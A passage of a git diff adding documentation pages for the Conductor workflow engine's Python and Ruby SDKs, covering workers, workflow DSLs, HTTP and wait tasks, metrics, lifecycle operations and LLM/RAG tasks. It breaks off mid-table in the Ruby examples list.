+@worker_task(task_definition_name='fetch_data', thread_count=50) +async def fetch_data(url: str) -> dict: + import httpx + async with httpx.AsyncClient() as client: + resp = await client.get(url) + return resp.json() +``` + +Start workers with `TaskHandler` — it auto-discovers `@worker_task` functions and spawns one subprocess per worker: + +```python +from conductor.client.automator.task_handler import TaskHandler +from conductor.client.configuration.configuration import Configuration + +config = Configuration() +with TaskHandler(configuration=config, scan_for_annotated_workers=True) as task_handler: + task_handler.start_processes() + task_handler.join_processes() # blocks forever (workers poll continuously) +``` + +See [examples/worker_example.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/worker_example.py) and [examples/workers_e2e.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/workers_e2e.py) for complete examples. + +### Workflows with HTTP Calls and Waits + +Chain custom workers with built-in system tasks — HTTP calls, waits, JavaScript, JQ transforms — all in one workflow: + +```python +from conductor.client.workflow.conductor_workflow import ConductorWorkflow +from conductor.client.workflow.task.http_task import HttpTask +from conductor.client.workflow.task.wait_task import WaitTask + +workflow = ConductorWorkflow(name='order_pipeline', version=1, executor=executor) + +# Custom worker task +validate = validate_order(task_ref_name='validate', order_id=workflow.input('order_id')) + +# Built-in HTTP task — call any API, no worker needed +charge_payment = HttpTask(task_ref_name='charge_payment', http_input={ + 'uri': 'https://api.stripe.com/v1/charges', + 'method': 'POST', + 'headers': {'Authorization': ['Bearer ${workflow.input.stripe_key}']}, + 'body': {'amount': '${validate.output.amount}'} +}) + +# Built-in Wait task — pause the workflow for 10 seconds +cool_down = WaitTask(task_ref_name='cool_down', wait_for_seconds=10) + +# Another custom worker task +notify = send_notification(task_ref_name='notify', message='Order complete') + +# Chain with >> operator +workflow >> validate >> charge_payment >> cool_down >> notify + +# Execute synchronously and wait for the result +result = workflow.execute(workflow_input={'order_id': 'ORD-123', 'stripe_key': 'sk_test_...'}) +print(result.output) +``` + +See [examples/kitchensink.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/kitchensink.py) for all task types (HTTP, JavaScript, JQ, Switch, Terminate) and [examples/workflow_ops.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/workflow_ops.py) for lifecycle operations. + +### Long-Running Tasks with TaskContext + +For tasks that take minutes or hours (batch processing, ML training, external approvals), use `TaskContext` to report progress and poll incrementally: + +```python +from typing import Union +from conductor.client.worker.worker_task import worker_task +from conductor.client.context.task_context import get_task_context, TaskInProgress + +@worker_task(task_definition_name='batch_job') +def batch_job(batch_id: str) -> Union[dict, TaskInProgress]: + ctx = get_task_context() + ctx.add_log(f"Processing batch {batch_id}, poll #{ctx.get_poll_count()}") + + if ctx.get_poll_count() < 3: + # Not done yet — re-queue and check again in 30 seconds + return TaskInProgress(callback_after_seconds=30, output={'progress': ctx.get_poll_count() * 33}) + + # Done after 3 polls + return {'status': 'completed', 'batch_id': batch_id} +``` + +`TaskContext` also provides access to task metadata, retry counts, workflow IDs, and the ability to add logs visible in the Conductor UI. + +See [examples/task_context_example.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/task_context_example.py) for all patterns (polling, retry-aware logic, async context, input access). + +### Monitoring with Metrics + +Enable Prometheus metrics with a single setting — the SDK exposes poll counts, execution times, error rates, and HTTP latency: + +```python +from conductor.client.automator.task_handler import TaskHandler +from conductor.client.configuration.configuration import Configuration +from conductor.client.configuration.settings.metrics_settings import MetricsSettings + +config = Configuration() +metrics = MetricsSettings(directory='/tmp/conductor-metrics', http_port=8000) + +with TaskHandler(configuration=config, metrics_settings=metrics, scan_for_annotated_workers=True) as task_handler: + task_handler.start_processes() + task_handler.join_processes() +``` + +```shell +# Prometheus-compatible endpoint +curl http://localhost:8000/metrics +``` + +See [examples/metrics_example.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/metrics_example.py) and [METRICS.md](https://github.com/conductor-oss/python-sdk/blob/main/METRICS.md) for details on all tracked metrics. + +### Managing Workflow Executions + +Full lifecycle control — start, execute, pause, resume, terminate, retry, restart, rerun, signal, and search: + +```python +from conductor.client.configuration.configuration import Configuration +from conductor.client.http.models import StartWorkflowRequest, RerunWorkflowRequest, TaskResult +from conductor.client.orkes_clients import OrkesClients + +config = Configuration() +clients = OrkesClients(configuration=config) +workflow_client = clients.get_workflow_client() +task_client = clients.get_task_client() +executor = clients.get_workflow_executor() + +# Start async (returns workflow ID immediately) +workflow_id = executor.start_workflow(StartWorkflowRequest(name='my_workflow', input={'key': 'value'})) + +# Execute sync (blocks until workflow completes) +result = executor.execute(name='my_workflow', version=1, workflow_input={'key': 'value'}) + +# Lifecycle management +workflow_client.pause_workflow(workflow_id) +workflow_client.resume_workflow(workflow_id) +workflow_client.terminate_workflow(workflow_id, reason='no longer needed') +workflow_client.retry_workflow(workflow_id) # retry from last failed task +workflow_client.restart_workflow(workflow_id) # restart from the beginning +workflow_client.rerun_workflow(workflow_id, # rerun from a specific task + RerunWorkflowRequest(re_run_from_task_id=task_id)) + +# Send a signal to a waiting workflow (complete a WAIT task externally) +task_client.update_task(TaskResult( + workflow_instance_id=workflow_id, + task_id=wait_task_id, + status='COMPLETED', + output_data={'approved': True} +)) + +# Search workflows +results = workflow_client.search(query='status IN (RUNNING) AND correlationId = "order-123"') +``` + +See [examples/workflow_ops.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/workflow_ops.py) for a complete walkthrough of every operation. + +--- + +## AI & LLM Workflows + +Conductor supports AI-native workflows including agentic tool calling, RAG pipelines, and multi-agent orchestration. + +**Agentic Workflows** + +Build AI agents where LLMs dynamically select and call Python workers as tools. See [examples/agentic_workflows/](https://github.com/conductor-oss/python-sdk/blob/main/examples/agentic_workflows/) for all examples. + +| Example | Description | +|---------|-------------| +| [llm_chat.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/agentic_workflows/llm_chat.py) | Automated multi-turn science Q&A between two LLMs | +| [llm_chat_human_in_loop.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/agentic_workflows/llm_chat_human_in_loop.py) | Interactive chat with WAIT task pauses for user input | +| [multiagent_chat.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/agentic_workflows/multiagent_chat.py) | Multi-agent debate with moderator routing between panelists | +| [function_calling_example.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/agentic_workflows/function_calling_example.py) | LLM picks which Python function to call based on user queries | +| [mcp_weather_agent.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/agentic_workflows/mcp_weather_agent.py) | AI agent using MCP tools for weather queries | + +**LLM and RAG Workflows** + +| Example | Description | +|---------|-------------| +| [rag_workflow.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/rag_workflow.py) | End-to-end RAG: document conversion (PDF/Word/Excel), pgvector indexing, semantic search, answer generation | +| [vector_db_helloworld.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/orkes/vector_db_helloworld.py) | Vector database operations: text indexing, embedding generation, and semantic search with Pinecone | + +```shell +# Automated multi-turn chat +python examples/agentic_workflows/llm_chat.py + +# Multi-agent debate +python examples/agentic_workflows/multiagent_chat.py --topic "renewable energy" + +# RAG pipeline +pip install "markitdown[pdf]" +python examples/rag_workflow.py document.pdf "What are the key findings?" +``` + +--- + +## Why Conductor? + +| | | +|---|---| +| **Language agnostic** | Workers in Python, Java, Go, JS, C# — all in one workflow | +| **Durable execution** | Survives crashes, retries automatically, never loses state | +| **Built-in HTTP/Wait/JS tasks** | No code needed for common operations | +| **Horizontal scaling** | Built at Netflix for millions of workflows | +| **Full visibility** | UI shows every execution, every task, every retry | +| **Sync + Async execution** | Start-and-forget OR wait-for-result | +| **Human-in-the-loop** | WAIT tasks pause until an external signal | +| **AI-native** | LLM chat, RAG pipelines, function calling, MCP tools built-in | + +--- + +## Examples + +See the [Examples Guide](https://github.com/conductor-oss/python-sdk/blob/main/examples/README.md) for the full catalog. Key examples: + +| Example | Description | Run | +|---------|-------------|-----| +| [workers_e2e.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/workers_e2e.py) | End-to-end: sync + async workers, metrics | `python examples/workers_e2e.py` | +| [kitchensink.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/kitchensink.py) | All task types (HTTP, JS, JQ, Switch) | `python examples/kitchensink.py` | +| [workflow_ops.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/workflow_ops.py) | Pause, resume, terminate, retry, restart, rerun, signal | `python examples/workflow_ops.py` | +| [task_context_example.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/task_context_example.py) | Long-running tasks with TaskInProgress | `python examples/task_context_example.py` | +| [metrics_example.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/metrics_example.py) | Prometheus metrics collection | `python examples/metrics_example.py` | +| [fastapi_worker_service.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/fastapi_worker_service.py) | FastAPI: expose a workflow as an API (+ workers) | `uvicorn examples.fastapi_worker_service:app --port 8081 --workers 1` | +| [helloworld.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/helloworld/helloworld.py) | Minimal hello world | `python examples/helloworld/helloworld.py` | +| [dynamic_workflow.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/dynamic_workflow.py) | Build workflows programmatically | `python examples/dynamic_workflow.py` | +| [test_workflows.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/test_workflows.py) | Unit testing workflows | `python -m unittest examples.test_workflows` | + +**API Journey Examples** + +End-to-end examples covering all APIs for each domain: + +| Example | APIs | Run | +|---------|------|-----| +| [authorization_journey.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/authorization_journey.py) | Authorization APIs | `python examples/authorization_journey.py` | +| [metadata_journey.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/metadata_journey.py) | Metadata APIs | `python examples/metadata_journey.py` | +| [schedule_journey.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/schedule_journey.py) | Schedule APIs | `python examples/schedule_journey.py` | +| [prompt_journey.py](https://github.com/conductor-oss/python-sdk/blob/main/examples/prompt_journey.py) | Prompt APIs | `python examples/prompt_journey.py` | + +## Documentation + +| Document | Description | +|----------|-------------| +| [Worker Design](https://github.com/conductor-oss/python-sdk/blob/main/docs/design/WORKER_DESIGN.md) | Architecture: AsyncTaskRunner vs TaskRunner, discovery, lifecycle | +| [Worker Guide](https://github.com/conductor-oss/python-sdk/blob/main/docs/WORKER.md) | All worker patterns (function, class, annotation, async) | +| [Worker Configuration](https://github.com/conductor-oss/python-sdk/blob/main/WORKER_CONFIGURATION.md) | Hierarchical environment variable configuration | +| [Workflow Management](https://github.com/conductor-oss/python-sdk/blob/main/docs/WORKFLOW.md) | Start, pause, resume, terminate, retry, search | +| [Workflow Testing](https://github.com/conductor-oss/python-sdk/blob/main/docs/WORKFLOW_TESTING.md) | Unit testing with mock outputs | +| [Task Management](https://github.com/conductor-oss/python-sdk/blob/main/docs/TASK_MANAGEMENT.md) | Task operations | +| [Metadata](https://github.com/conductor-oss/python-sdk/blob/main/docs/METADATA.md) | Task & workflow definitions | +| [Authorization](https://github.com/conductor-oss/python-sdk/blob/main/docs/AUTHORIZATION.md) | Users, groups, applications, permissions | +| [Schedules](https://github.com/conductor-oss/python-sdk/blob/main/docs/SCHEDULE.md) | Workflow scheduling | +| [Secrets](https://github.com/conductor-oss/python-sdk/blob/main/docs/SECRET_MANAGEMENT.md) | Secret storage | +| [Prompts](https://github.com/conductor-oss/python-sdk/blob/main/docs/PROMPT.md) | AI/LLM prompt templates | +| [Integrations](https://github.com/conductor-oss/python-sdk/blob/main/docs/INTEGRATION.md) | AI/LLM provider integrations | +| [Metrics](https://github.com/conductor-oss/python-sdk/blob/main/METRICS.md) | Prometheus metrics collection | +| [Examples](https://github.com/conductor-oss/python-sdk/blob/main/examples/README.md) | Complete examples catalog | + +## Frequently Asked Questions + +**Is this the same as Netflix Conductor?** + +Yes. Conductor OSS is the continuation of the original [Netflix Conductor](https://github.com/Netflix/conductor) repository after Netflix contributed the project to the open-source foundation. + +**Is this project actively maintained?** + +Yes. [Orkes](https://orkes.io) is the primary maintainer and offers an enterprise SaaS platform for Conductor across all major cloud providers. + +**Can Conductor scale to handle my workload?** + +Conductor was built at Netflix to handle massive scale and has been battle-tested in production environments processing millions of workflows. It scales horizontally to meet virtually any demand. + +**Does Conductor support durable code execution?** + +Yes. Conductor ensures workflows complete reliably even in the face of infrastructure failures, process crashes, or network issues. + +**Are workflows always asynchronous?** + +No. While Conductor excels at asynchronous orchestration, it also supports synchronous workflow execution when immediate results are required. + +**Do I need to use a Conductor-specific framework?** + +No. Conductor is language and framework agnostic. Use your preferred language and framework — the [SDKs](https://github.com/conductor-oss/conductor#conductor-sdks) provide native integration for Python, Java, JavaScript, Go, C#, and more. + +**Can I mix workers written in different languages?** + +Yes. A single workflow can have workers written in Python, Java, Go, or any other supported language. Workers communicate through the Conductor server, not directly with each other. + +**What Python versions are supported?** + +Python 3.9 and above. + +**Should I use `def` or `async def` for my workers?** + +Use `async def` for I/O-bound tasks (API calls, database queries) — the SDK uses `AsyncTaskRunner` with a single event loop for high concurrency with low overhead. Use regular `def` for CPU-bound or blocking work — the SDK uses `TaskRunner` with a thread pool. The SDK selects the right runner automatically based on your function signature. + +**How do I run workers in production?** + +Workers are standard Python processes. Deploy them as you would any Python application — in containers, VMs, or bare metal. Workers poll the Conductor server for tasks, so no inbound ports need to be opened. See [Worker Design](https://github.com/conductor-oss/python-sdk/blob/main/docs/design/WORKER_DESIGN.md) for architecture details. + +**How do I test workflows without running a full Conductor server?** + +The SDK provides a test framework that uses Conductor's `POST /api/workflow/test` endpoint to evaluate workflows with mock task outputs. See [Workflow Testing](https://github.com/conductor-oss/python-sdk/blob/main/docs/WORKFLOW_TESTING.md) for details. + +## Support + +- [Open an issue (SDK)](https://github.com/conductor-sdk/conductor-python/issues) for SDK bugs, questions, and feature requests +- [Open an issue (Conductor server)](https://github.com/conductor-oss/conductor/issues) for Conductor OSS server issues +- [Join the Conductor Slack](https://join.slack.com/t/orkes-conductor/shared_invite/zt-2vdbx239s-Eacdyqya9giNLHfrCavfaA) for community discussion and help +- [Orkes Community Forum](https://community.orkes.io/) for Q&A + +## License + +Apache 2.0 + + +## Examples + +Browse all examples on GitHub: [conductor-oss/python-sdk/examples](https://github.com/conductor-oss/python-sdk/tree/main/examples) + +| Example | Type | +|---|---| +| [Readme](https://github.com/conductor-oss/python-sdk/blob/main/examples/README.md) | file | +| [Agentic Workflow](https://github.com/conductor-oss/python-sdk/blob/main/examples/agentic_workflow.py) | file | +| [Agentic Workflows](https://github.com/conductor-oss/python-sdk/tree/main/examples/agentic_workflows) | directory | +| [Authorization Journey](https://github.com/conductor-oss/python-sdk/blob/main/examples/authorization_journey.py) | file | +| [Dynamic Workflow](https://github.com/conductor-oss/python-sdk/blob/main/examples/dynamic_workflow.py) | file | +| [Event Listener Examples](https://github.com/conductor-oss/python-sdk/blob/main/examples/event_listener_examples.py) | file | +| [Fastapi Worker Service](https://github.com/conductor-oss/python-sdk/blob/main/examples/fastapi_worker_service.py) | file | +| [Helloworld](https://github.com/conductor-oss/python-sdk/tree/main/examples/helloworld) | directory | +| [Kitchensink](https://github.com/conductor-oss/python-sdk/blob/main/examples/kitchensink.py) | file | +| [Metadata Journey](https://github.com/conductor-oss/python-sdk/blob/main/examples/metadata_journey.py) | file | +| [Metadata Journey Oss](https://github.com/conductor-oss/python-sdk/blob/main/examples/metadata_journey_oss.py) | file | +| [Metrics Example](https://github.com/conductor-oss/python-sdk/blob/main/examples/metrics_example.py) | file | +| [Orkes](https://github.com/conductor-oss/python-sdk/tree/main/examples/orkes) | directory | +| [Prompt Journey](https://github.com/conductor-oss/python-sdk/blob/main/examples/prompt_journey.py) | file | +| [Rag Workflow](https://github.com/conductor-oss/python-sdk/blob/main/examples/rag_workflow.py) | file | +| [Schedule Journey](https://github.com/conductor-oss/python-sdk/blob/main/examples/schedule_journey.py) | file | +| [Shell Worker](https://github.com/conductor-oss/python-sdk/blob/main/examples/shell_worker.py) | file | +| [Task Configure](https://github.com/conductor-oss/python-sdk/blob/main/examples/task_configure.py) | file | +| [Task Context Example](https://github.com/conductor-oss/python-sdk/blob/main/examples/task_context_example.py) | file | +| [Task Listener Example](https://github.com/conductor-oss/python-sdk/blob/main/examples/task_listener_example.py) | file | +| [Task Workers](https://github.com/conductor-oss/python-sdk/blob/main/examples/task_workers.py) | file | +| [Test Ai Examples](https://github.com/conductor-oss/python-sdk/blob/main/examples/test_ai_examples.py) | file | +| [Test Workflows](https://github.com/conductor-oss/python-sdk/blob/main/examples/test_workflows.py) | file | +| [Untrusted Host](https://github.com/conductor-oss/python-sdk/blob/main/examples/untrusted_host.py) | file | +| [User Example](https://github.com/conductor-oss/python-sdk/tree/main/examples/user_example) | directory | +| [Worker Configuration Example](https://github.com/conductor-oss/python-sdk/blob/main/examples/worker_configuration_example.py) | file | +| [Worker Discovery](https://github.com/conductor-oss/python-sdk/tree/main/examples/worker_discovery) | directory | +| [Worker Example](https://github.com/conductor-oss/python-sdk/blob/main/examples/worker_example.py) | file | +| [Workers E2E](https://github.com/conductor-oss/python-sdk/blob/main/examples/workers_e2e.py) | file | +| [Workers E2E Workflow](https://github.com/conductor-oss/python-sdk/blob/main/examples/workers_e2e_workflow.json) | file | +| [Workflow Ops](https://github.com/conductor-oss/python-sdk/blob/main/examples/workflow_ops.py) | file | +| [Workflow Status Listner](https://github.com/conductor-oss/python-sdk/blob/main/examples/workflow_status_listner.py) | file | diff --git a/docs/documentation/clientsdks/ruby-sdk.md b/docs/documentation/clientsdks/ruby-sdk.md new file mode 100644 index 0000000..17d213f --- /dev/null +++ b/docs/documentation/clientsdks/ruby-sdk.md @@ -0,0 +1,547 @@ +--- +description: "Build Conductor workers in Ruby with idiomatic task definitions and workflow management." +--- + +# Ruby SDK + +!!! info "Source" + GitHub: [conductor-oss/ruby-sdk](https://github.com/conductor-oss/ruby-sdk) | Report issues and contribute on GitHub. + +## Features + +- **Full Feature Parity** with Python SDK +- **Ruby-Idiomatic Workflow DSL** - Clean block-based syntax with 25+ task types +- **Worker Framework** - Multi-threaded task execution with class-based and block-based workers +- **LLM/AI Tasks** - Chat completion, embeddings, RAG, image/audio generation +- **Orkes Cloud Support** - Authentication, secrets, integrations, prompts +- **Comprehensive Testing** - 400+ unit tests, 110 integration tests + +## Installation + +Add to your Gemfile: + +```ruby +gem 'conductor_ruby' +``` + +Or install directly: + +```bash +gem install conductor_ruby +``` + +## Quick Start + +### Hello World + +```ruby +require 'conductor' + +# Configuration (reads CONDUCTOR_SERVER_URL from environment) +config = Conductor::Configuration.new + +# Create clients +clients = Conductor::Orkes::OrkesClients.new(config) +executor = clients.get_workflow_executor + +# Define a worker +class GreetWorker + include Conductor::Worker::WorkerModule + worker_task 'greet' + + def execute(task) + name = get_input(task, 'name', 'World') + { 'result' => "Hello, #{name}!" } + end +end + +# Build workflow using new DSL +workflow = Conductor.workflow :greetings, version: 1, executor: executor do + greet = simple :greet, name: wf[:name] + output result: greet[:result] +end + +# Register and execute +workflow.register(overwrite: true) + +# Start workers +runner = Conductor::Worker::TaskRunner.new(config) +runner.register_worker(GreetWorker.new) +runner.start + +# Execute workflow +result = workflow.execute(input: { 'name' => 'Ruby' }, wait_for_seconds: 30) +puts "Result: #{result.output['result']}" # => "Hello, Ruby!" + +runner.stop +``` + +## Workflow DSL + +The SDK provides a clean, Ruby-idiomatic DSL for building workflows: + +```ruby +workflow = Conductor.workflow :order_processing, version: 1, executor: executor do + # Access workflow inputs with wf[:param] + user = simple :get_user, user_id: wf[:user_id] + + # Reference task outputs with task[:field] + order = simple :validate_order, email: user[:email] + + # HTTP calls + http :call_api, url: 'https://api.example.com', method: :post, body: { id: order[:id] } + + # Parallel execution + parallel do + simple :ship_order, order_id: order[:id] + simple :send_confirmation, email: user[:email] + end + + # Conditional branching + decide order[:region] do + on 'US' do + simple :us_shipping + end + on 'EU' do + simple :eu_shipping + end + otherwise do + terminate :failed, 'Unsupported region' + end + end + + # Set workflow output + output tracking: order[:tracking_number], status: 'completed' +end + +# Register and execute +workflow.register(overwrite: true) +result = workflow.execute(input: { user_id: 123 }, wait_for_seconds: 60) +``` + +### Task Methods Reference + +#### Basic Tasks + +```ruby +# Simple task (worker execution) +result = simple :task_name, input1: 'value', input2: wf[:param] + +# Inline code execution +jq :transform, query: '.items | map(.name)', input: previous[:data] +javascript :compute, script: 'return inputs.a + inputs.b', a: 1, b: 2 + +# Set workflow variables +set_variable :save_state, user_id: user[:id], status: 'active' + +# Human/manual task +human :approval, display_name: 'Manager Approval', form_template: 'approval_form' +``` + +#### HTTP Tasks + +```ruby +# HTTP request +http :call_api, + url: 'https://api.example.com/users', + method: :post, + headers: { 'Authorization' => 'Bearer ${workflow.secrets.api_token}' }, + body: { name: wf[:name], email: wf[:email] } + +# HTTP polling (wait for condition) +http_poll :wait_for_ready, + url: 'https://api.example.com/status/${workflow.input.job_id}', + method: :get, + termination_condition: '$.status == "ready"', + polling_interval: 5, + polling_strategy: :fixed +``` + +#### Control Flow + +```ruby +# Parallel execution (fork/join) +parallel do + simple :branch_a + simple :branch_b + simple :branch_c +end + +# Conditional branching +decide order[:status] do + on 'pending' do + simple :process_pending + end + on 'approved' do + simple :process_approved + end + otherwise do + simple :handle_unknown + end +end + +# Conditional shortcuts +when_true user[:is_premium] do + simple :apply_discount +end + +when_false order[:validated] do + terminate :failed, 'Order validation failed' +end + +# Loop over items +loop_over users[:list], as: :user do + simple :process_user, user_id: iteration[:user][:id] +end + +# Do-while loop +do_while :retry_loop, condition: '${retry_ref.output.success} == false' do + simple :retry_operation +end +``` + +#### Sub-workflows + +```ruby +# Call another workflow +sub_workflow :process_order, + workflow_name: 'order_processor', + version: 2, + input: { order_id: wf[:order_id] } + +# Start workflow (fire-and-forget) +start_workflow :trigger_notification, + workflow_name: 'send_notifications', + input: { user_id: user[:id] } + +# Inline sub-workflow definition +inline_workflow :nested_process do + simple :step1 + simple :step2 +end +``` + +#### Wait and Events + +```ruby +# Wait for duration +wait :pause, duration: '30s' # or '5m', '1h', '2d' + +# Wait until specific time +wait :scheduled, until: '2024-12-25T00:00:00Z' + +# Wait for external webhook +wait_for_webhook :external_callback, + matches: { 'type' => 'payment', 'order_id' => '${workflow.input.order_id}' } + +# Publish event +event :notify, sink: 'conductor:workflow_events', payload: { status: 'completed' } +``` + +#### Termination + +```ruby +# Complete workflow +terminate :success, 'Processing completed successfully' + +# Fail workflow +terminate :failed, 'Validation error: missing required field' +``` + +#### Dynamic Tasks + +```ruby +# Dynamic task name (resolved at runtime) +dynamic :run_handler, task_to_execute: wf[:handler_name] + +# Dynamic fork (parallel tasks determined at runtime) +dynamic_fork :process_all, + tasks_input: wf[:items], + task_name: 'process_item' +``` + +### LLM/AI Tasks + +```ruby +workflow = Conductor.workflow :ai_assistant, executor: executor do + # Chat completion (messages auto-converted from simple format) + response = llm_chat :chat, + provider: 'openai', + model: 'gpt-4', + messages: [ + { role: :system, message: 'You are a helpful assistant.' }, + { role: :user, message: wf[:question] } + ], + temperature: 0.7 + + # Text completion + llm_text :complete, + provider: 'anthropic', + model: 'claude-3-sonnet', + prompt: 'Summarize: ${workflow.input.text}' + + # Generate embeddings + embeddings = llm_embeddings :embed, + provider: 'openai', + model: 'text-embedding-3-small', + text: wf[:document] + + # Store embeddings in vector DB + llm_store_embeddings :store, + provider: 'pinecone', + index: 'documents', + embeddings: embeddings[:embeddings], + metadata: { doc_id: wf[:doc_id] } + + # Search embeddings + llm_search_embeddings :search, + provider: 'pinecone', + index: 'documents', + query: wf[:search_query], + max_results: 10 + + # Generate image + generate_image :create_image, + provider: 'openai', + model: 'dall-e-3', + prompt: 'A sunset over mountains', + size: '1024x1024' + + # Generate audio (text-to-speech) + generate_audio :speak, + provider: 'openai', + model: 'tts-1', + text: response[:content], + voice: 'nova' + + # MCP (Model Context Protocol) integration + tools = list_mcp_tools :get_tools, server_name: 'my_mcp_server' + + call_mcp_tool :use_tool, + server_name: 'my_mcp_server', + tool_name: 'search_documents', + arguments: { query: wf[:query] } + + output answer: response[:content] +end +``` + +### Output References + +The DSL uses a clean syntax for referencing outputs: + +```ruby +# Workflow input reference +wf[:user_id] # => '${workflow.input.user_id}' + +# Task output reference +task[:field] # => '${task_ref.output.field}' +task[:nested][:path] # => '${task_ref.output.nested.path}' + +# Loop iteration references (inside loop_over) +iteration[:current_item] # Current item being processed +iteration[:index] # Current index (0-based) +iteration[:user][:name] # If `as: :user` specified +``` + +## Examples + +The `examples/` directory contains comprehensive examples: + +| Example | Description | +|---------|-------------| +| [`helloworld/`](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/helloworld/) | Simplest complete example - worker + workflow + execution | +| [`workflow_dsl.rb`](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/workflow_dsl.rb) | Comprehensive new DSL showcase | +| [`simple_worker.rb`](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/simple_worker.rb) | Worker patterns: class-based, block-based, error handling | +| [`kitchensink.rb`](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/kitchensink.rb) | All major task types using new DSL | +| [`dynamic_workflow.rb`](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/dynamic_workflow.rb) | Create and execute workflows at runtime | +| [`workflow_ops.rb`](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/workflow_ops.rb) | Lifecycle operations: pause, resume, restart, retry | +| [`agentic_workflows/`](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/agentic_workflows/) | LLM chat and AI workflow examples | + +Run examples: + +```bash +# Set environment variables +export CONDUCTOR_SERVER_URL=http://localhost:8080/api +# For Orkes Cloud: +# export CONDUCTOR_AUTH_KEY=your_key +# export CONDUCTOR_AUTH_SECRET=your_secret + +# Run hello world +cd examples/helloworld && bundle exec ruby helloworld.rb + +# Run DSL showcase +bundle exec ruby examples/workflow_dsl.rb + +# Run kitchen sink +bundle exec ruby examples/kitchensink.rb +``` + +## Worker Framework + +### Class-Based Workers + +```ruby +class ImageProcessor + include Conductor::Worker::WorkerModule + + worker_task 'process_image', poll_interval: 1, thread_count: 4 + + def execute(task) + url = get_input(task, 'image_url') + # Process image... + + result = Conductor::Http::Models::TaskResult.complete + result.add_output_data('processed_url', processed_url) + result.log('Image processed successfully') + result + end +end +``` + +### Block-Based Workers + +```ruby +worker = Conductor::Worker.define('simple_task') do |task| + input = task.input_data['value'] + { result: input * 2 } # Return hash for automatic TaskResult +end +``` + +### Running Workers + +```ruby +runner = Conductor::Worker::TaskRunner.new(config) +runner.register_worker(ImageProcessor.new) +runner.register_worker(worker) +runner.start(threads: 4) + +# Graceful shutdown +trap('INT') { runner.stop } +sleep while runner.running? +``` + +## Configuration + +### Environment Variables + +```bash +export CONDUCTOR_SERVER_URL=http://localhost:8080/api +export CONDUCTOR_AUTH_KEY=your_key # For Orkes Cloud +export CONDUCTOR_AUTH_SECRET=your_secret # For Orkes Cloud +``` + +### Programmatic + +```ruby +config = Conductor::Configuration.new( + server_api_url: 'https://play.orkes.io/api', + auth_key: 'your_key', + auth_secret: 'your_secret', + auth_token_ttl_min: 45, + verify_ssl: true +) +``` + +## API Coverage + +### Resource APIs (17 classes) + +| API | Description | +|-----|-------------| +| WorkflowResourceApi | Workflow execution and management | +| TaskResourceApi | Task polling and updates | +| MetadataResourceApi | Workflow/task definitions | +| SchedulerResourceApi | Scheduled workflows | +| EventResourceApi | Event handlers | +| WorkflowBulkResourceApi | Bulk operations | +| PromptResourceApi | AI prompt templates | +| SecretResourceApi | Secret management | +| IntegrationResourceApi | External integrations | +| + 8 more | Authorization, Users, Groups, Roles, etc. | + +### High-Level Clients (9 classes) + +```ruby +clients = Conductor::Orkes::OrkesClients.new(config) + +workflow_client = clients.get_workflow_client +task_client = clients.get_task_client +metadata_client = clients.get_metadata_client +scheduler_client = clients.get_scheduler_client +prompt_client = clients.get_prompt_client +secret_client = clients.get_secret_client +authorization_client = clients.get_authorization_client +workflow_executor = clients.get_workflow_executor +``` + +## Testing + +```bash +# Unit tests +bundle exec rspec spec/conductor/ + +# Integration tests (requires Conductor server) +CONDUCTOR_SERVER_URL=http://localhost:8080/api bundle exec rspec spec/integration/ +``` + +## Requirements + +- Ruby 2.6+ (Ruby 3+ recommended) +- Conductor OSS 3.x or Orkes Cloud + +## Dependencies + +- `faraday ~> 2.0` - HTTP client +- `faraday-net_http_persistent ~> 2.0` - Connection pooling +- `faraday-retry ~> 2.0` - Automatic retries +- `concurrent-ruby ~> 1.2` - Thread-safe concurrency + +## Contributing + +1. Fork the repository +2. Create your feature branch (`git checkout -b feature/amazing-feature`) +3. Run tests (`bundle exec rspec`) +4. Commit your changes (`git commit -m 'Add amazing feature'`) +5. Push to the branch (`git push origin feature/amazing-feature`) +6. Open a Pull Request + +## License + +Apache 2.0 - see [LICENSE](https://github.com/conductor-oss/ruby-sdk/blob/main/LICENSE) for details. + +## Links + +- [Conductor OSS](https://github.com/conductor-oss/conductor) +- [Orkes Cloud](https://orkes.io) +- [Documentation](https://conductor-oss.org) +- [Python SDK](https://github.com/conductor-sdk/conductor-python) +- [Community Slack](https://join.slack.com/t/orkes-conductor/shared_invite/zt-2vdbx239s-Eacdyqya9giNLHfrCavfaA) + + +## Examples + +Browse all examples on GitHub: [conductor-oss/ruby-sdk/examples](https://github.com/conductor-oss/ruby-sdk/tree/main/examples) + +| Example | Type | +|---|---| +| [Agentic Workflows](https://github.com/conductor-oss/ruby-sdk/tree/main/examples/agentic_workflows) | directory | +| [Dynamic Workflow](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/dynamic_workflow.rb) | file | +| [Event Handler](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/event_handler.rb) | file | +| [Event Listener 